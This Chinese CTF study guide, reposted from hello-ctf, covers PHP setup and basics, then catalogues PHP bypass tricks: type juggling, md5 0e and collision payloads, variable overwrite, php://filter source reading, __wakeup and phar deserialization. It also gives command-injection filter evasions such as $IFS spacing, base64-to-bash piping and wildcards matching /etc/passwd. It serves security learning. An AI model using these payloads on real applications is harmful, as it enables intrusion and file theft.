2026-08-18
php反序列化
00
请注意,本文编写于 88 天前,最后修改于 81 天前,其中某些信息可能已经过时。

目录

1. 下载 PHP(选 Zip 版,不要 installer)
2. 解压
3. 加环境变量
4. 验证
5. 必装扩展(左侧四个方块图标 → 搜索安装)
6. 关联 PHP
一、PHP 基础语法
1. PHP 脚本格式
2. 变量、赋值与运算
3. 类型比较
4. 输出方式
5. 数组
6. 魔术常量
7. 表单数据接收
8. 常用内建函数
二、PHP 函数安全与常见绕过
1. is_numeric() 绕过
2. PHP 浮点精度问题(IEEE 754)
3. 比较和类型转换漏洞
3.1 松散比较 == 的类型转换规则
3.2 严格比较 ===
3.3 URL 双重编码绕过
4. PHP 弱类型比较绕过
4.1 strcmp() 绕过
4.2 is_numeric() 二次绕过
4.3 switch 语句绕过
4.4 md5() 绕过
5. sha1() 绕过
6. intval() 绕过
7. preg_match() 绕过
8. inarray() 与 arraysearch() 绕过
9. 变量覆盖
9.1 extract() 变量覆盖
9.2 parse_str() 变量覆盖
9.3 $$ 变量覆盖
10. 文件包含与伪协议
11. 反序列化漏洞
12. 命令执行绕过
13. 正则表达式绕过
14. 伪随机数
15. JSON 绕过
16. 特殊 PHP 代码格式
三、核心知识点速查表

摘自hello-ctf


1. 下载 PHP(选 Zip 版,不要 installer)

打开 → https://windows.php.net/download

下载 VS16 x64 Non Thread Safe 的 Zip 包(比如 php-8.3.x-nts-Win32-vs16-x64.zip)

2. 解压

把 zip 解压到 C:\php(路径不要有空格和中文)

3. 加环境变量

  1. 按 Win + R,输入 sysdm.cpl,回车
  2. 点 高级 → 环境变量
  3. 下方 系统变量 找到 Path,双击
  4. 点 新建,输入 C:\php,确定

4. 验证

打开 新的 CMD 或 PowerShell:

cmd
php -v

看到版本号就成功了。

5. 必装扩展(左侧四个方块图标 → 搜索安装)

扩展名作用
PHP IntelephensePHP 语法高亮、补全、报错提示
Code Runner右键直接运行代码,不用敲命令行

6. 关联 PHP

装完扩展后,按 Ctrl + Shift + P,输入 settings json,打开 首选项: 打开用户设置 (JSON)。

添加这一行(路径改成你的):

json
{ "php.validate.executablePath": "C:\\php\\php.exe", "code-runner.executorMap": { "php": "C:\\php\\php.exe" } }

一、PHP 基础语法

1. PHP 脚本格式

PHP 脚本以 <?php 开始,以 ?> 结束:

php
<?php // 执行的相关PHP代码 ?>

2. 变量、赋值与运算

变量命名规则:

  • 以 $ 符号开始,后面跟着变量名称
  • 变量名区分大小写($y 和 $Y 是两个不同的变量)
  • PHP 是弱类型语言,不必声明数据类型
php
<?php $x_int = 1024; $y_int = 0xFFF; // 十六进制 $float_num = 1.5; $txt_string = "Hello CTF!"; $stat_Boolean = true; ?>

赋值与复合赋值运算符:

运算符等同于描述
x = yx = y左操作数被设置为右侧表达式的值
x ?= yx = x ? y支持 +=, -=, *=, /=, %=, .=

逻辑运算符:

运算符名称描述
x and / x && y与如果 x 和 y 都为 true,则返回 true
x or / x || y或如果 x 和 y 至少有一个为 true,则返回 true
x xor y异或如果 x 和 y 有且仅有一个为 true,则返回 true
!x非如果 x 不为 true,则返回 true

3. 类型比较

  • 松散比较 ==:只比较值,不比较类型
  • 严格比较 ===:既比较值,也比较类型
php
0 == false; // bool(true) 0 === false; // bool(false)

4. 输出方式

  • echo:可以输出一个或多个字符串
  • print:只允许输出一个字符串,返回值总为 1
php
<?php echo "Hello CTF 很有趣!"; ?>

5. 数组

使用 array() 函数创建数组:

php
<?php $cars = array("Hello", "CTF"); echo "I like " . $cars[0] . " " . $cars[1] . "."; ?>

使用 [] 定义数组(PHP 5.4+):

php
$z = ['H', 'e', 'l', 'l', 'o']; $z[0] = 'H'; $z[1] = 'r';

6. 魔术常量

形如 __XXX__ 的预定义常量被称为魔术常量:

魔术常量含义
__FILE__返回文件的完整路径和文件名
__LINE__返回当前行号
__DIR__返回文件所在目录
__FUNCTION__返回函数名称
__CLASS__返回类名称
__METHOD__返回类的方法名
php
highlight_file(__FILE__); // 代码高亮显示当前文件内容

7. 表单数据接收

超全局变量作用
$_GET接受 GET 请求传递的参数
$_POST接受 POST 请求传递的参数
$_REQUEST接受 GET、POST 以及 Cookie 请求传递的参数
$_COOKIE接受 Cookie 数据
$_SESSION接受 Session 数据
$_SERVER包含服务器和执行环境信息

$_REQUEST 的优先级: 默认情况下,$_REQUEST 的优先级为 EGPCS(Environment, Get, Post, Cookie, Server),即同名的 POST 变量会覆盖 GET 变量。

8. 常用内建函数

文件操作函数:

  • include():导入并执行指定的 PHP 文件,文件不存在时产生警告(Warning)
  • require():类似于 include(),文件不存在时产生致命错误(Fatal Error)
  • include_once() / require_once():只导入文件一次,防止重复包含
  • fopen():打开一个文件或 URL
  • file_get_contents():读取文件的全部内容到一个字符串
  • file_put_contents():将一个字符串写入文件
  • highlight_file():高亮显示文件内容

代码/命令执行函数:

  • eval():执行字符串中的 PHP 代码
  • assert():检查条件是否为 true,可执行代码
  • system():执行外部程序并显示输出
  • shell_exec():通过 shell 执行命令并以字符串返回
  • exec():执行外部程序
  • passthru():执行外部程序并显示原始输出

反序列化函数:

  • unserialize():将已序列化的字符串转换回 PHP 值

数据库操作函数:

  • mysql_query() / mysqli_query():发送 MySQL 查询

其他常用函数:

  • preg_replace():执行正则表达式搜索和替换(当第一个参数为 /e 修饰符时可执行代码)
  • create_function():创建匿名 lambda 函数(PHP 7.2+ 已废弃)
  • strpos() / stripos():查找字符串首次出现的位置
  • strstr() / stristr():查找字符串的首次出现,返回子串
  • substr():返回字符串的子串
  • intval():获取变量的整数值
  • md5():计算字符串的 MD5 散列值
  • sha1():计算字符串的 SHA-1 散列值
  • strcmp():二进制安全字符串比较
  • json_decode():对 JSON 字符串进行解码
  • extract():从数组中将变量导入到当前符号表
  • parse_str():将字符串解析到变量中

二、PHP 函数安全与常见绕过

1. is_numeric() 绕过

作用: 检测变量是否是数字或数字字符串。

绕过方法: 在数字前面或后面加上以下空白字符:

  • %0a(换行符 LF)
  • %0b(垂直制表符 VT)
  • %0c(换页符 FF)
  • %0d(回车符 CR)
  • %09(水平制表符 HT)
  • %20(空格)
  • %00(空字节)

例题:

php
<?php $a = $_GET['a']; if (is_numeric($a)) { exit(); } elseif ($a == 404) { echo "flag"; } ?>

Payload: ?a=1%0a 或 ?a=404%00


2. PHP 浮点精度问题(IEEE 754)

PHP 采用 IEEE 754 双精度浮点数 标准,使用 1位符号 + 11位指数 + 52位尾数 表示浮点数。

核心问题: 浮点数在二进制中无法精确表示某些十进制小数,导致精度丢失。

php
echo 0.57 * 100; // 可能输出 56.99999999999999 echo intval(0.57 * 100); // 输出 56,而非 57 echo intval(0.58 * 100); // 输出 57,而非 58

解决方法:

php
intval(0.58 * 1000 / 10); // 先放大再缩小,避免精度问题

CTF 例题:

php
$flag = 'flag{test}'; extract($_GET); if (strstr($num, '1')) { die('Out!'); } if ($num == 1) { var_dump($flag); } ?>

Payload: ?num=0.999999999999999999999999

  • 该值在浮点表示中会被近似为 1,满足 $num == 1
  • 但 strstr() 找不到字符 '1',成功绕过

3. 比较和类型转换漏洞

3.1 松散比较 == 的类型转换规则

当不同类型的值使用 == 比较时,PHP 会自动进行类型转换:

场景结果
字符串 vs 数字字符串转为数字
"123" == 123true
"123a" == 123true(取起始数字部分)
"a123" == 0true(无数字开头,转为 0)
"0x1e240" == 123456true(十六进制解析)
"1e2" == 100true(科学计数法)
0 == "a"true(字符串转数字为 0)
true == "任意字符串"true

关键规则: 字符串转数字时,如果包含 e、.、E,会作为 float 处理;否则为 int。如果字符串起始部分为数值,则采用起始数值;否则一律为 0。

3.2 严格比较 ===

=== 要求值和类型都相同,不会发生自动类型转换。

php
123 === "123"; // false 0 === false; // false

3.3 URL 双重编码绕过

攻防世界 PHP2 例题:

php
<?php if ("admin" === $_GET[id]) { echo("<p>not allowed!</p>"); exit(); } $_GET[id] = urldecode($_GET[id]); if ($_GET[id] == "admin") { echo "<p>Access granted!</p>"; echo "<p>Key: xxxxxxx </p>"; } ?>

分析: 第一次比较使用 ===,第二次使用 == 且先进行 urldecode()。 Payload: 将 admin 进行两次 URL 编码:

  • admin → %61%64%6d%69%6e → %25%36%31%25%36%34%25%36%64%25%36%39%25%36%65
  • 第一次 $_GET[id] 获取的是 %61%64%6d%69%6e,不等于 "admin"(===)
  • 经过 urldecode() 后变为 admin,"admin" == "admin" 为 true

4. PHP 弱类型比较绕过

4.1 strcmp() 绕过

函数原型: int strcmp(string $str1, string $str2)

返回值: 相等返回 0,小于返回 <0,大于返回 >0。

绕过原理: strcmp() 要求传入字符串类型,如果传入数组会报错并返回 NULL,而 NULL == 0 为 true。

例题:

php
$flag = 'flag{123}'; if (strcmp($flag, $_GET['str']) == 0) { echo $flag; } else { echo "Out!"; } ?>

Payload: ?str[]=xxx(传入数组)

注意: 在 PHP 5.3 之前,strcmp 的行为有所不同,返回的是 str2 第一位字母 ASCII 减去 str1 第一位字母。

4.2 is_numeric() 二次绕过

利用类型转换特性(PHP < 8.0.0),字符串会先转为数值再比较:

php
$flag = 'flag{111}'; $id = $_GET['id']; if (is_numeric($id) > 0) { echo 'Out!'; } else { if ($id > 233) { echo $flag; } } ?>

Payload:

  • ?id=2333,(逗号截断)
  • ?id=2333%00(空字节截断)
  • ?id=2333A(字母截断)

4.3 switch 语句绕过

switch 在进行数字类型的 case 判断时,会自动将参数转换为 int 类型。

例题:

php
$a = "233a"; $flag = "flag{Give you FLAG}"; switch ($a) { case 1: echo "No Flag"; break; case 2: echo "No Flag"; break; case 233: echo $flag; break; default: $a = 233; echo "Haha..."; break; } ?>

输出: flag{Give you FLAG}

  • "233a" 被转换为 233,匹配 case 233

4.4 md5() 绕过

函数原型: string md5(string $str [, bool $raw_output = false])

绕过方式一:0e 科学计数法绕过(松散比较 ==)

当 md5 哈希值以 0e 开头且后面全为数字时,PHP 会将其解析为科学计数法 0 × 10^n = 0。

php
var_dump(0e912 == 0e112); // true,都被解析为 0

常见 0e 开头的 md5 值:

原值md5 值
2406107080e462097431906509019562988736854
3142824220e990995504821699494520356953734
QNKCDZO0e830400451993494058024219903391
QLTHNDT0e405967825401955372549139051580
EEIZDOI0e782601363539291779881938479162
TUFEPMC0e839407194569345277863905212547

例题(松散比较):

php
$flag = "flag{THIS_IS_REAL_FLAG}"; $v1 = $_GET['gat']; $v2 = $_GET['tag']; if ($v1 != $v2 && md5($v1) == md5($v2)) { echo $flag; } ?>

Payload: ?gat=240610708&tag=314282422

绕过方式二:数组绕过(严格比较 ===)

md5() 无法处理数组,传入数组会报错并返回 NULL,两个 NULL === NULL 为 true。

例题(严格比较):

php
$flag = "flag{THIS_IS_REAL_FLAG}"; $str1 = $_GET['gat']; $str2 = $_GET['tag']; if (md5($str1) === md5($str2)) { echo $flag; } ?>

Payload: ?gat[]=&tag[]=(传入两个空数组)

绕过方式三:自身 md5 相等

找一个值,其自身和 md5 值都以 0e 开头:

  • 0e215962017 的 md5 为 0e291242476940776845150308577824

绕过方式四:md5 强碰撞

当存在强制类型转换 (string) 且使用 === 时,需要找到两个不同字符串具有相同 md5 值:

Payload:

a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2 b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

5. sha1() 绕过

与 md5() 类似,sha1() 同样无法处理数组,也存在 0e 开头的碰撞值:

常见 sha1 后以 0e 开头的值:

  • aaroZmOk
  • aaK1STfY
  • aaO8zKZF
  • aa3OFF9m
  • 0e1290633704
  • 10932435112

6. intval() 绕过

函数原型: int intval(mixed $var [, int $base = 10])

绕过方法:

方法示例说明
进制转换0x117c / 010574十六进制 / 八进制
科学计数法4476e0e 特殊,可表示科学计数法
小数绕过3.1转 int 时只保留整数部分
字符串拼接3ab遇到字母停止读取
两次取反~~10位运算绕过
算术运算5+5 / 2*5表达式求值
空数组[]弱比较时 [] == 0

注意: 在 PHP ≤ 7.0.9 时,intval("1e2") 返回 1(遇到 e 停止);但在 PHP > 7.0.9 时返回 100。


7. preg_match() 绕过

绕过方法一:数组绕过

preg_match() 第二个参数要求字符串,传入数组时返回 false(不匹配),可绕过 if 判断。

php
if (preg_match("/[0-9]/", $num)) { die("no no no!"); } else if (intval($num)) { echo $flag; } ?>

Payload: num[]=2

绕过方法二:%0a 换行符绕过

当正则使用 ^ 和 $ 锚点时,可以利用换行符绕过:

php
preg_match('/^gxngxngxn$/', $gxn) ?>

Payload: gxn=gxngxngxn%0a


8. in_array() 与 array_search() 绕过

函数原型:

  • bool in_array(mixed $needle, array $haystack [, bool $strict = FALSE])
  • mixed array_search(mixed $needle, array $haystack [, bool $strict = FALSE])

绕过原理: 当 strict 为 false(默认)时,使用松散比较 ==。

php
$array = [0, 1, 2, '3']; var_dump(in_array('abc', $array)); // true,"abc" == 0 var_dump(in_array('1bc', $array)); // true,"1bc" == 1

数组绕过(严格模式):

php
if (!is_array($_GET['test'])) exit(); $test = $_GET['test']; for ($i = 0; $i < count($test); $i++) { if ($test[$i] === "admin") { echo "error"; exit(); } $test[$i] = intval($test[$i]); } if (array_search("admin", $test) === 0) { echo "flag"; } ?>

Payload: test[]=0

  • array_search("admin", [0]) 中 "admin" == 0 为 true,返回键名 0

9. 变量覆盖

9.1 extract() 变量覆盖

extract() 从数组中将变量导入到当前符号表,如果数组键名与已有变量同名,会覆盖原有变量。

php
$flag = 'flag{test}'; extract($_GET); // 用户传入的变量可覆盖 $flag

9.2 parse_str() 变量覆盖

php
parse_str($_SERVER['QUERY_STRING']); // 解析查询字符串到变量

9.3 $$ 变量覆盖

php
$a = "b"; $$a = "c"; // 等价于 $b = "c"

10. 文件包含与伪协议

常见伪协议:

伪协议用途条件
php://filter读取文件并进行编码转换allow_url_fopen 和 allow_url_include 关闭也可用
php://input读取 POST 数据流需开启 allow_url_include
data://内嵌数据需开启 allow_url_fopen
phar://访问 Phar 压缩包内文件—
zip://访问 ZIP 压缩包内文件—
file://访问本地文件—

php://filter 读取源码:

php://filter/read=convert.base64-encode/resource=flag.php

php://input 代码执行:

php
$file = file_get_contents("php://input"); // 获取 POST 原始数据

%00 截断(PHP ≤ 5.2):

?file=flag.php%00

11. 反序列化漏洞

__wakeup() 绕过(CVE-2016-7124):

当对象的属性个数大于实际属性个数时,__wakeup() 方法不会被执行。

php
O:4:"Test":2:{s:1:"a";s:5:"hello";} // 正常 O:4:"Test":3:{s:1:"a";s:5:"hello";} // 属性数改为3,绕过 __wakeup

Phar 反序列化:

通过 phar:// 协议触发反序列化,即使目标代码没有直接调用 unserialize()。


12. 命令执行绕过

常见命令执行函数:

  • system(), exec(), shell_exec(), passthru(), popen(), proc_open()
  • 反引号 `(等同于 shell_exec())

绕过技巧:

  • 空格绕过:$IFS, ${IFS}, $IFS$9, <, <>
  • 命令分隔符:;, &&, \|\|, |, &
  • 黑名单绕过:ca\t, c''at, c""at, c\at, c${9}at, $(printf '\x63\x61\x74')
  • 编码绕过:echo 'Y2F0Cg==' \| base64 -d \| bash
  • 通配符:/???/??t /???/???s??(匹配 /bin/cat /etc/passwd)

13. 正则表达式绕过

ereg() %00 截断(PHP < 5.3):

php
ereg("^[a-zA-Z0-9]+$", $_GET['id']) ?>

Payload: ?id=1%00*(%00 截断后正则只匹配到 1)

preg_replace() /e 修饰符代码执行:

php
preg_replace('/(.*)/e', 'system("ls")', 'hello');

14. 伪随机数

mt_rand() / rand():

PHP 的随机数生成器是伪随机的,种子确定后序列可预测。可通过已知的随机数反推种子(使用 php_mt_seed 工具)。


15. JSON 绕过

利用 json_decode 解码后的类型转换:

php
$message = json_decode($_GET['message']); if ($message->key == "admin") { echo $flag; } ?>

Payload: message={"key":0}

  • "admin" 与 0 松散比较为 true

16. 特殊 PHP 代码格式

短标签:

php
<?= "Hello" ?> // 等价于 <?php echo "Hello" ?>

ASP 风格(已废弃):

php
<% echo "Hello" %>

脚本风格:

php
<script language="php">echo "Hello";</script>

三、核心知识点速查表

漏洞类型关键函数绕过方法
数字检测绕过is_numeric()%0a, %0b, %0c, %0d, %09, %00
字符串比较绕过strcmp()传入数组返回 NULL == 0
哈希松散比较md5(), sha1()找 0e 开头碰撞值
哈希严格比较md5(), sha1()传入数组返回 NULL === NULL
整数转换绕过intval()进制转换、科学计数法、小数
正则匹配绕过preg_match()数组绕过、%0a 换行符
数组搜索绕过in_array(), array_search()利用 == 松散比较
类型转换绕过switch字符串自动转 int
变量覆盖extract(), parse_str()传入同名变量覆盖
文件包含include(), require()伪协议、%00 截断
代码执行eval(), assert(), preg_replace(/e/)直接注入 PHP 代码
命令执行system(), exec()空格替换、编码、通配符
反序列化unserialize()__wakeup 绕过、Phar 协议